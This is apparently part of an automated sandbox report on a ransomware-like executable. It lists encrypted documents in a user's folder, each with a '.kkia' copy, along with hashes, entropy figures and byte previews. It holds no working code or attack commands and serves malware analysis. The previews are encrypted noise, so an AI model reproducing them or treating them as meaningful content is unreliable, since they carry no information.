...ji4.?.w.4......31..f3....D.>n.SI.C..kK..n.Z...

C:\Users\user\Documents\BNAGMGSPLO\SQSJKEBWDT.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841393283614661
Encrypted:	false
SSDEEP:	24:f4C/zKoEDi/js8A2auwiA1bT4gjD8ufNHnnA1cYoJTeCHaHJl2j/LpQjkbD:f4C/zKZi48A6EbTtH8C6voJTe4SlC/L/
MD5:	CF3C08489C9832F76836583B3AADC0A9
SHA1:	75F36E0BB3622FB4610A4EDB1F33532B719B62C7
SHA-256:	9942C0F19480E4887C683EE69599D01A070CA8914F28BF60D2B83B2C6E598661
SHA-512:	53B5E5C7CB6E942B4793AD7F851C0936CBB826327EC13B1E775622BBF4CF3D39C59DB8DBD34E7E2A7FA566140E48BE0415E9B2D69B6AF75F7AD14C2FC61B47FC
Malicious:	false
Preview:	SQSJK..$.\...r.G,Vp.......OgXO.......P..'..^.F...:..!5.G........~....se.N......ts.H....L...<}...OU.....{.7W....<h...ef9....Tx.zGu.C..c.i.b{.3Vl......A..+1.g......6....u..q..8..<.]FK.4F4...cX....Ce.P./..&....t..W....C\......e.4..'%...m.niB...5t..D.......R..&9/..B\ioP.kd...3.."..\i....a7-...k.,hVf..r.r....t=...........[....\|...vq.`.'~n."b:p/..G.[..V.V....s.....i.$.~y..t.).P....^../....._.!{].+'..e3..t].K.5taAGz..x.j...1.....m8.{.C6....F.. ..b.......(.#...V......G>.U.>....1a;."n....+0E.E...}.......Jf...7Q.}v.tL@.....k.......n?..YO.!n!z..}.%.8.@.=..41.N..n..N....l...N..>.d&.j1.fz...?W....PD........x..)..<.J..4....&"0..x....$...B1...#..>.T...A.....E.O..f...-..7.v.XzA.)..,J,b.:....p..C.a^`}...H.R.....'.!.....}x...3Y[0s8.'.@...?.ez2....:`..q..B'.+`;..1...I>...!9...^....Sq....F.5.I.A.....zy.O..)./..l\.......r......B.?."[../.0vb3oi<8..\..........^.6O../#[e%..<.\.....+.8..T.L...\|.mA.2. ...ji4.?.w.4......31..f3....D.>n.SI.C..kK..n.Z...

C:\Users\user\Documents\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833038532828629
Encrypted:	false
SSDEEP:	24:RPIQBnVAza0YNdO4ZuSK+as1iLv48UvtgNjU5U0dszl+0fIc7NkbD:RPIQBF3S4ZGi3qNb06R+0fx7cD
MD5:	9524F435A365139FD886EA401D54BAE2
SHA1:	601444C17461D15AD9677052F266D6F649796834
SHA-256:	18304315920195875722573F8D23C47ECAB50907A2104678C11F5CA2C73362E9
SHA-512:	E2E87626F993CD09599FA72471D06A7C76DF39E28FC087F137767BADD54C92E35196675B02C615B70B995C28B9C2E3782DAD0037BF6000F35B3FACBD99CAE65D
Malicious:	false
Preview:	DUUDT...C..;{..0.,.E.6.y^^r.D..xC.../"...A..b.1R=7....._.....y..D/..Z.:D...x..pS\|].Q.hS1y.....V2....0.XH..1.U.........q.....(..Kjc....G7_}..@R..K}1l.yj.7...(..7.z.]Q.?.b[..o.v. 1j'......2..m..>.d.-..0.>.6....K..of.K.TK".....\|[.Z.e.r^n^j..~.]......j..L.p.......R28..<...2.....~mM..p..5......p(....W0.K4..[..{~d.a..,u..4j..$}8c.<i%...JLvw.......s....r..{....)......~$~.4...D,2.8..Z=~.W7q5_.eu....5`,.Y.y..._.....V.T..\|.._.......D........#:.....r.b.....%.z..n.TU.Z......H..5"q.\|.......Q...}.D....B.!.@...t..>@.5By.E.8.....t...6...7. l.U...n....0...~.0.!......CevM}2Z...H.L..P.#K.e.@Uq'^'N.B....+>z.....\/S8t.(.a..1p..\|N...B....5=].....3..0gf...=w..\|...e~....82.t......C.r.B....2..PH..0..z..<..D.G%..Y......Z....Cy@.:.l.Qq......).y).#F.jV..'.. :.....w_..9.\|J.Kz&...bi..e.D.>!4.+.$...>..{4....&&..1\|b.O..3''...:....l+....w..bM.F}...^..o.........:.............;t...-.p...h*{.O..\|^wN.)x`a..^Rt.d..c.UD..Z..N..(3\|j......LE...9...>y....."."..6...A...}.aW.mf_.5

C:\Users\user\Documents\DUUDTUBZFW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833038532828629
Encrypted:	false
SSDEEP:	24:RPIQBnVAza0YNdO4ZuSK+as1iLv48UvtgNjU5U0dszl+0fIc7NkbD:RPIQBF3S4ZGi3qNb06R+0fx7cD
MD5:	9524F435A365139FD886EA401D54BAE2
SHA1:	601444C17461D15AD9677052F266D6F649796834
SHA-256:	18304315920195875722573F8D23C47ECAB50907A2104678C11F5CA2C73362E9
SHA-512:	E2E87626F993CD09599FA72471D06A7C76DF39E28FC087F137767BADD54C92E35196675B02C615B70B995C28B9C2E3782DAD0037BF6000F35B3FACBD99CAE65D
Malicious:	false
Preview:	DUUDT...C..;{..0.,.E.6.y^^r.D..xC.../"...A..b.1R=7....._.....y..D/..Z.:D...x..pS\|].Q.hS1y.....V2....0.XH..1.U.........q.....(..Kjc....G7_}..@R..K}1l.yj.7...(..7.z.]Q.?.b[..o.v. 1j'......2..m..>.d.-..0.>.6....K..of.K.TK".....\|[.Z.e.r^n^j..~.]......j..L.p.......R28..<...2.....~mM..p..5......p(....W0.K4..[..{~d.a..,u..4j..$}8c.<i%...JLvw.......s....r..{....)......~$~.4...D,2.8..Z=~.W7q5_.eu....5`,.Y.y..._.....V.T..\|.._.......D........#:.....r.b.....%.z..n.TU.Z......H..5"q.\|.......Q...}.D....B.!.@...t..>@.5By.E.8.....t...6...7. l.U...n....0...~.0.!......CevM}2Z...H.L..P.#K.e.@Uq'^'N.B....+>z.....\/S8t.(.a..1p..\|N...B....5=].....3..0gf...=w..\|...e~....82.t......C.r.B....2..PH..0..z..<..D.G%..Y......Z....Cy@.:.l.Qq......).y).#F.jV..'.. :.....w_..9.\|J.Kz&...bi..e.D.>!4.+.$...>..{4....&&..1\|b.O..3''...:....l+....w..bM.F}...^..o.........:.............;t...-.p...h*{.O..\|^wN.)x`a..^Rt.d..c.UD..Z..N..(3\|j......LE...9...>y....."."..6...A...}.aW.mf_.5

C:\Users\user\Documents\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864715864470796
Encrypted:	false
SSDEEP:	24:hfeTdqnp6P7Cv0CWEHiBrxS5zC2IJTur7FX4iG7S8GPAu+F/N5u5wMgLv66sjQUr:REdl+vD1I0HFX4G8R05wjLi6jMD
MD5:	E9BF030E7C942B0E8C7EDD19B3F8EF21
SHA1:	642B65BDF7AA138D7F0C510E16A54E1521983372
SHA-256:	5B26027AFD76ED75832918E7D7A54222F7358594316290D6F204694A9E6BBD3D
SHA-512:	BC348AB29AC98FE4ACC2020370633A8E8353E1D91C08AFC4930ACBA5AB23BC9040292EFE9896551381FA72F6715E0539EC4C78CE81138EE364C00E3DC09801A2
Malicious:	false
Preview:	EEGWX.P.F.A4"E...a..........x^...-$e.<..v...&..........uN^.W.%..7....4.....X._..n.X..1...'v.c.P~f..L...;3$..\|?E.1.c.3.....!.k~.yK..q..rc,.j....e8......^.....&...='0.(..-5].d...t..V....$z..&.A?...h\!I........o.....a.k..m%.G&a^\8..n.![..(..A.O...JaB...B._....A..y.OLW7&R..o..(.3w...#?...w....-...^ ,t.T@({'Q...B".H;.Y.B....i.>KP4S.+..0....B...7F..~/..dWY.C,.+.M.A8..l.X....s.W.4.....C.B...7.r..%....."...........I.B.....p.N..0.._e...K...W8..+:w..)....[....K3.9!.v.cM......f}.W........K..^.M....I0P....j......<....A..m...O.`..L.7.$.:.*.T.....T.....[..xZ...qx..E.....f..~.;..@.....M.9P.....g\|\|>I..~.8...B].qG(....n.pF...+.L.............f.B...^I.O..6..P.qW...'.v..{."Kc..<.....+..@.+..j>.w.. ...O....ik"..wf9p...gz.9....@...M..>.y..7gh..a..V....f2;........>...[...Zt.N..z.C.)sZ..c.........aJ...v+....;.#......G...ETC>!..Z....Fp........=....3...cl..$......v.!.=5=M...+b.G.x........%..H.9e..........g....GQA]..........7._@I...Q.>...&.M.n...EXU.....@....q

C:\Users\user\Documents\EEGWXUHVUG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864715864470796
Encrypted:	false
SSDEEP:	24:hfeTdqnp6P7Cv0CWEHiBrxS5zC2IJTur7FX4iG7S8GPAu+F/N5u5wMgLv66sjQUr:REdl+vD1I0HFX4G8R05wjLi6jMD
MD5:	E9BF030E7C942B0E8C7EDD19B3F8EF21
SHA1:	642B65BDF7AA138D7F0C510E16A54E1521983372
SHA-256:	5B26027AFD76ED75832918E7D7A54222F7358594316290D6F204694A9E6BBD3D
SHA-512:	BC348AB29AC98FE4ACC2020370633A8E8353E1D91C08AFC4930ACBA5AB23BC9040292EFE9896551381FA72F6715E0539EC4C78CE81138EE364C00E3DC09801A2
Malicious:	false
Preview:	EEGWX.P.F.A4"E...a..........x^...-$e.<..v...&..........uN^.W.%..7....4.....X._..n.X..1...'v.c.P~f..L...;3$..\|?E.1.c.3.....!.k~.yK..q..rc,.j....e8......^.....&...='0.(..-5].d...t..V....$z..&.A?...h\!I........o.....a.k..m%.G&a^\8..n.![..(..A.O...JaB...B._....A..y.OLW7&R..o..(.3w...#?...w....-...^ ,t.T@({'Q...B".H;.Y.B....i.>KP4S.+..0....B...7F..~/..dWY.C,.+.M.A8..l.X....s.W.4.....C.B...7.r..%....."...........I.B.....p.N..0.._e...K...W8..+:w..)....[....K3.9!.v.cM......f}.W........K..^.M....I0P....j......<....A..m...O.`..L.7.$.:.*.T.....T.....[..xZ...qx..E.....f..~.;..@.....M.9P.....g\|\|>I..~.8...B].qG(....n.pF...+.L.............f.B...^I.O..6..P.qW...'.v..{."Kc..<.....+..@.+..j>.w.. ...O....ik"..wf9p...gz.9....@...M..>.y..7gh..a..V....f2;........>...[...Zt.N..z.C.)sZ..c.........aJ...v+....;.#......G...ETC>!..Z....Fp........=....3...cl..$......v.!.=5=M...+b.G.x........%..H.9e..........g....GQA]..........7._@I...Q.>...&.M.n...EXU.....@....q

C:\Users\user\Documents\EEGWXUHVUG.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876374106371944
Encrypted:	false
SSDEEP:	24:8EeqT+c4ssGOFUp5JQiKpM/gKMObB2skbD:NetJ61fVBED
MD5:	DD126856AB63CFD09EBECE89E23E5A6B
SHA1:	4FBB8933AE4DE82F29E4A5C02D9D1CE4547FA716
SHA-256:	32DA213BBF7E5B3F66AA916DAA9A8C799DB5A470617BE0FBAF524B7A56EE1789
SHA-512:	CDBBC3034D82BBE52ADB33D172AA9DEA3F10EC9E42C6F91EA2D13F70BEC67880953127A80DEF90DE25AFAAD495A581F2AD7884D04E86795DA0EC40384487A313
Malicious:	false
Preview:	EEGWX..../...h.vD\|md..X.q.#X...A;....@...+...Q.....^MCN.cO.!....._6.a.KOx.U..:.....O...}..q.#...zU(...v.....f.[..G.....3.Kp.'LI.^..h...,......3.-....5....B.@....N[..=.n.F.O:)...2.4i.V...FY.:....k.X.f]OS...0.C..}..8v..AF.CV.....y.&L....=.......%..H.d.cv..{..pQK.u.Y.2h.A.......\.&...X[q.F...^..uz..N...;+5..b.n...}.`...!...Wde._=#..!..S.f....St..('.`- ..B.t..Wu.8H.\.p-.&.........A....7...c.g....N.P...H..>.?..\|.............K...2k..NQ4S...z..x.4Y.w.e.S........ ...r....!....1..,4......O8..N..N...?.8!..n>.E.G.....b.n^.f...0./...&o.......n.]...Ny.O..{.#4C,.i...>.c.R5.r......J.u.?.KjD...3.+.6..;.,.:.L.....2.*.]. .O.9rd...<?..hH.......Me.s......jc...@-.V....rv1...;W...z.k.+@c....V..'.l...^2,.S..eM.....J.N.....UY..@?+.leV.l......H..Hw.^.n.X.....,.p.....Q.y....B..%.J......unZ......hSX..e".n..<2..JU...L>.l....tyo...&o.<)hi'.....g.v...o...j/C...{>.........QT..4....y/h.....K....b..._..z..L......;R.].....p......p..=.....x...5..@G.$.G.hA.w#..5`..s]m

C:\Users\user\Documents\EEGWXUHVUG.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876374106371944
Encrypted:	false
SSDEEP:	24:8EeqT+c4ssGOFUp5JQiKpM/gKMObB2skbD:NetJ61fVBED
MD5:	DD126856AB63CFD09EBECE89E23E5A6B
SHA1:	4FBB8933AE4DE82F29E4A5C02D9D1CE4547FA716
SHA-256:	32DA213BBF7E5B3F66AA916DAA9A8C799DB5A470617BE0FBAF524B7A56EE1789
SHA-512:	CDBBC3034D82BBE52ADB33D172AA9DEA3F10EC9E42C6F91EA2D13F70BEC67880953127A80DEF90DE25AFAAD495A581F2AD7884D04E86795DA0EC40384487A313
Malicious:	false
Preview:	EEGWX..../...h.vD\|md..X.q.#X...A;....@...+...Q.....^MCN.cO.!....._6.a.KOx.U..:.....O...}..q.#...zU(...v.....f.[..G.....3.Kp.'LI.^..h...,......3.-....5....B.@....N[..=.n.F.O:)...2.4i.V...FY.:....k.X.f]OS...0.C..}..8v..AF.CV.....y.&L....=.......%..H.d.cv..{..pQK.u.Y.2h.A.......\.&...X[q.F...^..uz..N...;+5..b.n...}.`...!...Wde._=#..!..S.f....St..('.`- ..B.t..Wu.8H.\.p-.&.........A....7...c.g....N.P...H..>.?..\|.............K...2k..NQ4S...z..x.4Y.w.e.S........ ...r....!....1..,4......O8..N..N...?.8!..n>.E.G.....b.n^.f...0./...&o.......n.]...Ny.O..{.#4C,.i...>.c.R5.r......J.u.?.KjD...3.+.6..;.,.:.L.....2.*.]. .O.9rd...<?..hH.......Me.s......jc...@-.V....rv1...;W...z.k.+@c....V..'.l...^2,.S..eM.....J.N.....UY..@?+.leV.l......H..Hw.^.n.X.....,.p.....Q.y....B..%.J......unZ......hSX..e".n..<2..JU...L>.l....tyo...&o.<)hi'.....g.v...o...j/C...{>.........QT..4....y/h.....K....b..._..z..L......;R.].....p......p..=.....x...5..@G.$.G.hA.w#..5`..s]m

C:\Users\user\Documents\EEGWXUHVUG\DUUDTUBZFW.pdf

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848871822571478
Encrypted:	false
SSDEEP:	24:MqaD8uvzeXtH29ndsNLLu8whLDLu68r4o0MGZQgkbD:MbAKeXtH0d78whL+Uo09Q9D
MD5:	7CCF93F0BB9F4956339CB79CC3957981
SHA1:	B5A54C8DE9831087F581742B68D8FB39A0288F11
SHA-256:	977480831B6CC275489CE00EA36380488EBE2AE2F57141E5042ABCEA3F4D1D1F
SHA-512:	8F51DAC5A6151B769B70267FB8AE28E1A052BCE231E21B5D09889BCCEB4ECF53B367551D20FB358C69F4FAF29392A78FE5A2CF9BB341BCF70F9B5BFA93359CFC
Malicious:	false
Preview:	DUUDT......(il}".....p....8%.%.<:..P..@.._..?...8...y...$........w._2..v%.....4..y.6i..F.....<f.I.........xP.,..^...O.Vn".W..N.9..:Z.h..#`:{_..R.3?..i.....B&<>6K.&,....w.2../@.`.......en.......v.......B...L.gDS3}...wb[..o......@..U...a.'ky..E.K...........os......E~.(C...\...N@;.A...l.sp........@..1..Ob..oP\T..2.)...iL./k....uM../...=J......n..W2..^....nH9.q$.....g..rb.J.j.:....uM..........$..I.e.`T...V...C4.....<.:a.\.}.$G1KF,...7..F8...>'d......P..t!..T.!...B.,^.P.=......e..R8.....=k..Z......k...m0.@\.q....OvI.....d.z..=.... ?0.H.}.N..H<.a,..Y......K....sb5.....an...U...52.Wd...f...5d....{.[..O.......z.H./e..q1...y.B...7VJn.?Ycj.e0m.}.T...}&...x....(..\i.$.w}. ..`....p!.i..q\=(.~.........`.........3.Q....k..q....g..#.(g....\.........b..LG1....2+....em..T.O=e....V..CU..[...}<=3.6..^.u@1.d.N.;.S....O.W...-GK.R{.b...$..P:P\@"..vUa...#.....@%..3.q.@....9...@.......g?eN.)..E.@ .`?.}..o4...aVp..`...IJ..}..T...v20.7.^...2.&.l...

C:\Users\user\Documents\EEGWXUHVUG\DUUDTUBZFW.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848871822571478
Encrypted:	false
SSDEEP:	24:MqaD8uvzeXtH29ndsNLLu8whLDLu68r4o0MGZQgkbD:MbAKeXtH0d78whL+Uo09Q9D
MD5:	7CCF93F0BB9F4956339CB79CC3957981
SHA1:	B5A54C8DE9831087F581742B68D8FB39A0288F11
SHA-256:	977480831B6CC275489CE00EA36380488EBE2AE2F57141E5042ABCEA3F4D1D1F
SHA-512:	8F51DAC5A6151B769B70267FB8AE28E1A052BCE231E21B5D09889BCCEB4ECF53B367551D20FB358C69F4FAF29392A78FE5A2CF9BB341BCF70F9B5BFA93359CFC
Malicious:	false
Preview:	DUUDT......(il}".....p....8%.%.<:..P..@.._..?...8...y...$........w._2..v%.....4..y.6i..F.....<f.I.........xP.,..^...O.Vn".W..N.9..:Z.h..#`:{_..R.3?..i.....B&<>6K.&,....w.2../@.`.......en.......v.......B...L.gDS3}...wb[..o......@..U...a.'ky..E.K...........os......E~.(C...\...N@;.A...l.sp........@..1..Ob..oP\T..2.)...iL./k....uM../...=J......n..W2..^....nH9.q$.....g..rb.J.j.:....uM..........$..I.e.`T...V...C4.....<.:a.\.}.$G1KF,...7..F8...>'d......P..t!..T.!...B.,^.P.=......e..R8.....=k..Z......k...m0.@\.q....OvI.....d.z..=.... ?0.H.}.N..H<.a,..Y......K....sb5.....an...U...52.Wd...f...5d....{.[..O.......z.H./e..q1...y.B...7VJn.?Ycj.e0m.}.T...}&...x....(..\i.$.w}. ..`....p!.i..q\=(.~.........`.........3.Q....k..q....g..#.(g....\.........b..LG1....2+....em..T.O=e....V..CU..[...}<=3.6..^.u@1.d.N.;.S....O.W...-GK.R{.b...$..P:P\@"..vUa...#.....@%..3.q.@....9...@.......g?eN.)..E.@ .`?.}..o4...aVp..`...IJ..}..T...v20.7.^...2.&.l...

C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8469494430238
Encrypted:	false
SSDEEP:	24:IgiZfYBQ4FWH5gnor6PQDSv9xloAvEluJEuKLyEkXLkbD:0ZfUV4g0ZevlGuJ7CCqD
MD5:	046443EA5CACB6E70D6B61651E374987
SHA1:	A8938BA0C3594220F51B0092B02E07EDF7BA9D1C
SHA-256:	8795D08FF86F972553E97A3238127E3CEEDAD52CDC53D079C1EA10594D27B76F
SHA-512:	B372F900E98F55DD80EE0EDC19BC23A4A93FA3C9DB184BFA6799F1AE25AD2580C1B2A26CEEE3FBA3BCF1417D98233BC5C5564A5A05BD47938D064D29D4FEED61
Malicious:	false
Preview:	EEGWX.D^..mf.>.W&m.J.tr.k.....qe..q...._G=.....{..r.T.{.....W.......T. up.c..;S..........7...C.]-dn....K._......K..ori.D.7..^...!V.......V...%z.j..........1...l.G.T(o..`#..N.m)R..Zd..).i...[...,p8...$.3..\NO....b.e...}..f.x%..Au1.2t...gO....Y...k...."...a..a.......F.....%U...`o0..RE.J.TW&'WZ.n7.H.I....)..~..bo@.o..g...<.a.A.O8....x...j.P..z....S.....zs.,..Z,..M...?^s.6...........J.t.~_....'..U+.....O..\|.....U.5..@."......Dd(..z.k.;..Z$......A.G.a.Q...,l..X8I.9..h.[. ..O,K=.....a...E.=.$...K...Vj%..'.f.o.V....._.bF..?".o......%.J....[.Lf1.~.0.M..XO.8......g.b..x...0PA.NLX...[.#.sg..o.A.N.-..Bx!..{K...V)......x.L.....p...O.......Z9Oo...$1ut...a.`.4..>..6y.. .AR.`p.c.}".......X.^;..F.bDx..Na.eV._...+....C},...9...B6..X....7.a...3...Z.`s...#T.\|...j.e....(1l..W[....G..Fz........8P.....%>.....d.v.e.s.b...H...N.M]...b...M-.&.b^..z.O.....R=.dt)vI^.......'..A.S...M.+jw..rVgwa.[=).......,.......q..e......M'..S,........;...z/..$@k..R.....

C:\Users\user\Documents\EEGWXUHVUG\EEGWXUHVUG.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8469494430238
Encrypted:	false
SSDEEP:	24:IgiZfYBQ4FWH5gnor6PQDSv9xloAvEluJEuKLyEkXLkbD:0ZfUV4g0ZevlGuJ7CCqD
MD5:	046443EA5CACB6E70D6B61651E374987
SHA1:	A8938BA0C3594220F51B0092B02E07EDF7BA9D1C
SHA-256:	8795D08FF86F972553E97A3238127E3CEEDAD52CDC53D079C1EA10594D27B76F
SHA-512:	B372F900E98F55DD80EE0EDC19BC23A4A93FA3C9DB184BFA6799F1AE25AD2580C1B2A26CEEE3FBA3BCF1417D98233BC5C5564A5A05BD47938D064D29D4FEED61
Malicious:	false
Preview:	EEGWX.D^..mf.>.W&m.J.tr.k.....qe..q...._G=.....{..r.T.{.....W.......T. up.c..;S..........7...C.]-dn....K._......K..ori.D.7..^...!V.......V...%z.j..........1...l.G.T(o..`#..N.m)R..Zd..).i...[...,p8...$.3..\NO....b.e...}..f.x%..Au1.2t...gO....Y...k...."...a..a.......F.....%U...`o0..RE.J.TW&'WZ.n7.H.I....)..~..bo@.o..g...<.a.A.O8....x...j.P..z....S.....zs.,..Z,..M...?^s.6...........J.t.~_....'..U+.....O..\|.....U.5..@."......Dd(..z.k.;..Z$......A.G.a.Q...,l..X8I.9..h.[. ..O,K=.....a...E.=.$...K...Vj%..'.f.o.V....._.bF..?".o......%.J....[.Lf1.~.0.M..XO.8......g.b..x...0PA.NLX...[.#.sg..o.A.N.-..Bx!..{K...V)......x.L.....p...O.......Z9Oo...$1ut...a.`.4..>..6y.. .AR.`p.c.}".......X.^;..F.bDx..Na.eV._...+....C},...9...B6..X....7.a...3...Z.`s...#T.\|...j.e....(1l..W[....G..Fz........8P.....%>.....d.v.e.s.b...H...N.M]...b...M-.&.b^..z.O.....R=.dt)vI^.......'..A.S...M.+jw..rVgwa.[=).......,.......q..e......M'..S,........;...z/..$@k..R.....

C:\Users\user\Documents\EEGWXUHVUG\EIVQSAOTAQ.jpg

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830197529060143
Encrypted:	false
SSDEEP:	24:RqQqnaVjmFbwm7eVsMfbWnuG2IEwLrE5oJLSwWZv4zvt+o5gdTyh0VJjSkbD:0FnIaFUm7eVBWn2IE8o2JKZv4Tt+o5ih
MD5:	88DCEA48F9C64841D7432846374999FF
SHA1:	00B9008AB252B27687B359B2592CD8A8B99FB5DF
SHA-256:	6CCF899F88F8904678475FB2658776D3796990B9C421475C451FBFC8E420928D
SHA-512:	6FDCC12D709CE309FE82C4912C9B110DA6990A0904801D9FF8E8467E547B45AA0CF68140184AA0523C30816A93781AA89138B98EE8D459A973B107B644766698
Malicious:	false
Preview:	EIVQS.A....!}..p.\|.....(!.3...r......).w>..W.....94.?..!=.#.p\..!..)..s..5>..y3........A.W....6....'..3@y..../.....av.....[)..D..h_..I..q2...l/.....a^.5....s...R<..... .P.......,..\...k...e...$.;..mj...6,]j.6......\L... ....F+}..e9..X.P..y+.>_..8..k/.....Y..8.{..!..(......h....V....%K...] ..Q...A.([9.......Y...Y/.....!y0F6..D..2H....&+..b=...j..u[:..=...t....F#@.m:........f(....)C........N).W.>U.3+hA@...u7N.8.<~.Y...el_56..E{....)8......g...j.b.QB..h...T..-.......s\...ao.?..*yE....4@........./M...c+S].......=....:Q7P.V.j..9...........Q.i....7.4>q...$....'.........c+=..[...S...\5..-..Cyb........X.~.Q...T..........z..j..".M..v.-.C.&'....?1...oE].V....-E..0?.....'x....q...wr9'\..R........P..WG.l#E....I.A....[.yaq[t.p.._..U......o...v>....7..]6._.`..A`...]rH...C-xbz.../...o.R.c[.-:a.2".f..\|K.....p8.G.,x...i;.q.=.nv...m)...ga.^.L..@o..P_.............\|..i^R...5q.m.,b.........#.......a..\.<.P8.3.`Z...,......_..#F(v..LS-~..~9\.G...g..3fo

C:\Users\user\Documents\EEGWXUHVUG\EIVQSAOTAQ.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.830197529060143
Encrypted:	false
SSDEEP:	24:RqQqnaVjmFbwm7eVsMfbWnuG2IEwLrE5oJLSwWZv4zvt+o5gdTyh0VJjSkbD:0FnIaFUm7eVBWn2IE8o2JKZv4Tt+o5ih
MD5:	88DCEA48F9C64841D7432846374999FF
SHA1:	00B9008AB252B27687B359B2592CD8A8B99FB5DF
SHA-256:	6CCF899F88F8904678475FB2658776D3796990B9C421475C451FBFC8E420928D
SHA-512:	6FDCC12D709CE309FE82C4912C9B110DA6990A0904801D9FF8E8467E547B45AA0CF68140184AA0523C30816A93781AA89138B98EE8D459A973B107B644766698
Malicious:	false
Preview:	EIVQS.A....!}..p.\|.....(!.3...r......).w>..W.....94.?..!=.#.p\..!..)..s..5>..y3........A.W....6....'..3@y..../.....av.....[)..D..h_..I..q2...l/.....a^.5....s...R<..... .P.......,..\...k...e...$.;..mj...6,]j.6......\L... ....F+}..e9..X.P..y+.>_..8..k/.....Y..8.{..!..(......h....V....%K...] ..Q...A.([9.......Y...Y/.....!y0F6..D..2H....&+..b=...j..u[:..=...t....F#@.m:........f(....)C........N).W.>U.3+hA@...u7N.8.<~.Y...el_56..E{....)8......g...j.b.QB..h...T..-.......s\...ao.?..*yE....4@........./M...c+S].......=....:Q7P.V.j..9...........Q.i....7.4>q...$....'.........c+=..[...S...\5..-..Cyb........X.~.Q...T..........z..j..".M..v.-.C.&'....?1...oE].V....-E..0?.....'x....q...wr9'\..R........P..WG.l#E....I.A....[.yaq[t.p.._..U......o...v>....7..]6._.`..A`...]rH...C-xbz.../...o.R.c[.-:a.2".f..\|K.....p8.G.,x...i;.q.=.nv...m)...ga.^.L..@o..P_.............\|..i^R...5q.m.,b.........#.......a..\.<.P8.3.`Z...,......_..#F(v..LS-~..~9\.G...g..3fo

C:\Users\user\Documents\EEGWXUHVUG\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848148440237523
Encrypted:	false
SSDEEP:	24:C4lfH5WekUXYm7+JWekDZU0lK9C5JRN55bEyhtt1C3F7hO4aK2xWTIkbD:CURWeBYVJilRK9CzRN5Rt1u40BD
MD5:	1308B376DEBAD5CC0998758FBB7AB39D
SHA1:	9285417BAC16B1A239E9325DDBE71C217A64ACB1
SHA-256:	6E04F9E482A1D52C7754D5538F96CADD78DFB575D749B52CEC005C29699C212D
SHA-512:	E88D5A3F526D0EDF301ED8A1033C2F77AA6D9163A7EF77F9B2533CDD975DE32E928AA2954C7050FA5F295F78B0E7B30DAF5B1E5E93E9A09785497B2E34872C6A
Malicious:	false
Preview:	GRXZDf......5I..d.....}@)..J.R.c..G+......>Y.....~PO..\|...Xz......K%s.V..t.1.3..%...T....tt..(>..w...#.j.f..'...w..R.dB.H .o...d.'.B...{`..@...'}..M..L...f0.K.r[(...E.&T^.K....2~!.* \|e..)....u2..v<.s?.%77.U..).`.LH..w....w....p.v.Z.c6...(.U..t.\......OF..b..P.#L..7.4.2..,.....mv#.7....[.M.{{f.iH'...?;..\$..V.Nm.. .....z.'.ry....o.L...%...ncm..[...9MG.0.l.....`Mx..?S...W.,.yG..L5...U.#..+.Uk..JqR...1.....eH.......{.....KX..rs.....6.#.......vG?.T.s..Gs}..y.../......1.S.K.M,.[.,.._.\...M....i.\|w.....@.xR.....l....v.b.>..S)..)...;..A.r.9Y...&L.k....x.F.>.H..mN..~"..V.e.}O.FZ..+K.m.g..-..w..?...e<\..p.!E>...4. 